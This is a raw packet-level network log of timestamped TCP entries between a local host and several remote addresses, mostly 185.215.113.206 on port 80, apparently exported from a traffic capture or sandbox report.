Nov 8, 2024 15:21:16.618396997 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.618432999 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.618433952 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.618475914 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.618519068 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.618561029 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.618571997 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.618582964 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.618613958 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.618642092 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.618710041 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.618767977 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.618783951 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.618843079 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.618843079 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.618875980 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.618887901 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.618897915 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.618933916 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.618984938 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.619194031 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.619234085 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.619249105 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.619283915 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.628403902 CET	49825	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:16.657499075 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.657516956 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.657526970 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.657572031 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.657578945 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.657578945 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.657632113 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.685972929 CET	443	49826	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:16.691052914 CET	49826	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:16.691071033 CET	443	49826	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:16.691524029 CET	443	49826	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:16.692379951 CET	49826	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:16.692456007 CET	443	49826	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:16.692769051 CET	49826	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:16.692878962 CET	49826	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:16.692908049 CET	443	49826	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:16.698796988 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.698885918 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.698898077 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.698909998 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.698955059 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.740209103 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.740227938 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.740298033 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.740298986 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.740380049 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.740391016 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.740448952 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.774050951 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.774077892 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.774087906 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.774122000 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.774132967 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.774142027 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.774174929 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.774188995 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.774210930 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.774228096 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.774260998 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.774310112 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.774311066 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.774322987 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.774353027 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.774368048 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.774368048 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.774398088 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.774436951 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.774447918 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.774491072 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.774491072 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.774616957 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.774662018 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.774724960 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.774735928 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.774748087 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.774784088 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.774784088 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.774908066 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.774951935 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.775017023 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.775058985 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.812182903 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.812216997 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.812227964 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.812287092 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.812324047 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.853133917 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.853169918 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.853182077 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.853210926 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.853235006 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.853235006 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.853327990 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.894824028 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.894885063 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.894896030 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.894901991 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.894969940 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.928517103 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.928549051 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.928560019 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.928577900 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.928579092 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.928628922 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.928668976 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.928670883 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.928685904 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.928716898 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.928740978 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.928752899 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.928782940 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.928782940 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.928817034 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.928822041 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.928874016 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.928877115 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.928913116 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.928922892 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.928924084 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.928980112 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.929229975 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.929241896 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.929261923 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.929292917 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.929292917 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.929306030 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.929318905 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.929344893 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.929344893 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.929373980 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.929382086 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.929394007 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.929439068 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.929439068 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.929456949 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.929641962 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.951334000 CET	443	49826	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:16.951991081 CET	49826	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:16.952050924 CET	443	49826	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:16.952131033 CET	49826	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:16.966768980 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.966794968 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.966804981 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.966852903 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.966852903 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.985096931 CET	443	49825	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:16.985716105 CET	49825	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:16.985758066 CET	443	49825	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:16.985904932 CET	443	49825	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:16.985929966 CET	49825	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:16.985969067 CET	49825	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:17.008214951 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.008245945 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.008256912 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.008290052 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.008305073 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.049422979 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.049462080 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.049474001 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.049488068 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.049525023 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.049542904 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.083615065 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.083630085 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.083643913 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.083662987 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.083673954 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.083684921 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.083688021 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.083708048 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.083750010 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.084146023 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.084192991 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.084239006 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.084276915 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.084356070 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.084394932 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.084429979 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.084441900 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.084462881 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.084485054 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.084537983 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.084604979 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.084733009 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.084774971 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.084799051 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.084811926 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.084840059 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.084856987 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.084925890 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.084937096 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.084949017 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.084959984 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.084965944 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.084971905 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.084974051 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.084996939 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.085025072 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.085088015 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.085108995 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.085160971 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.085247040 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.085289955 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.098525047 CET	443	49830	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:17.098861933 CET	49830	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:17.098877907 CET	443	49830	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:17.099208117 CET	443	49830	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:17.099766016 CET	49830	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:17.099833965 CET	443	49830	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:17.121396065 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.121417999 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.121429920 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.121473074 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.121499062 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.131803036 CET	443	49827	20.125.209.212	192.168.2.8
Nov 8, 2024 15:21:17.132086039 CET	49827	443	192.168.2.8	20.125.209.212
Nov 8, 2024 15:21:17.132107019 CET	443	49827	20.125.209.212	192.168.2.8
Nov 8, 2024 15:21:17.132395029 CET	443	49827	20.125.209.212	192.168.2.8
Nov 8, 2024 15:21:17.132935047 CET	49827	443	192.168.2.8	20.125.209.212
Nov 8, 2024 15:21:17.132977962 CET	443	49827	20.125.209.212	192.168.2.8
Nov 8, 2024 15:21:17.133510113 CET	49827	443	192.168.2.8	20.125.209.212
Nov 8, 2024 15:21:17.153132915 CET	49830	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:17.162542105 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.162561893 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.162575960 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.162599087 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.162626982 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.179327965 CET	443	49827	20.125.209.212	192.168.2.8
Nov 8, 2024 15:21:17.204073906 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.204092979 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.204152107 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.204165936 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.204217911 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.204225063 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.204267979 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.238091946 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.238126993 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.238141060 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.238176107 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.238204956 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.238214970 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.238225937 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.238253117 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.238596916 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.238616943 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.238663912 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.238668919 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.238722086 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.238739014 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.238774061 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.238800049 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.238814116 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.238841057 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.238928080 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.238967896 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.238969088 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.239018917 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.239069939 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.239100933 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.239110947 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.239145041 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.239159107 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.239171028 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.239202976 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.239275932 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.239286900 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.239299059 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.239319086 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.239346027 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.275983095 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.276015043 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.276026964 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.276038885 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.276066065 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.276133060 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.276144981 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.276207924 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.284575939 CET	443	49827	20.125.209.212	192.168.2.8
Nov 8, 2024 15:21:17.284717083 CET	443	49828	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:17.286063910 CET	49828	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:17.286078930 CET	443	49828	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:17.287182093 CET	443	49828	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:17.287261009 CET	49828	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:17.289522886 CET	49828	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:17.289601088 CET	443	49828	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:17.290652990 CET	49828	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:17.290662050 CET	443	49828	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:17.290987968 CET	49828	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:17.291013956 CET	443	49828	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:17.306766987 CET	443	49827	20.125.209.212	192.168.2.8
Nov 8, 2024 15:21:17.306876898 CET	49827	443	192.168.2.8	20.125.209.212
Nov 8, 2024 15:21:17.308902979 CET	49827	443	192.168.2.8	20.125.209.212
Nov 8, 2024 15:21:17.308923006 CET	443	49827	20.125.209.212	192.168.2.8
Nov 8, 2024 15:21:17.316915035 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.316930056 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.316950083 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.316960096 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.316986084 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.317032099 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.331105947 CET	49828	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:17.359080076 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.359110117 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.359121084 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.359172106 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.359204054 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.392453909 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.392481089 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.392493010 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.392503977 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.392538071 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.392563105 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.392841101 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.392890930 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.392906904 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.392916918 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.392956018 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.392961979 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.393023014 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.393065929 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.393095970 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.393192053 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.393203020 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.393244982 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.393263102 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.393268108 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.393275023 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.393300056 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.393325090 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.396202087 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.396215916 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.396229982 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.396243095 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:17.396264076 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.396286964 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:17.396313906 CET	80	49753	185.215.113.206	192.168.2.8
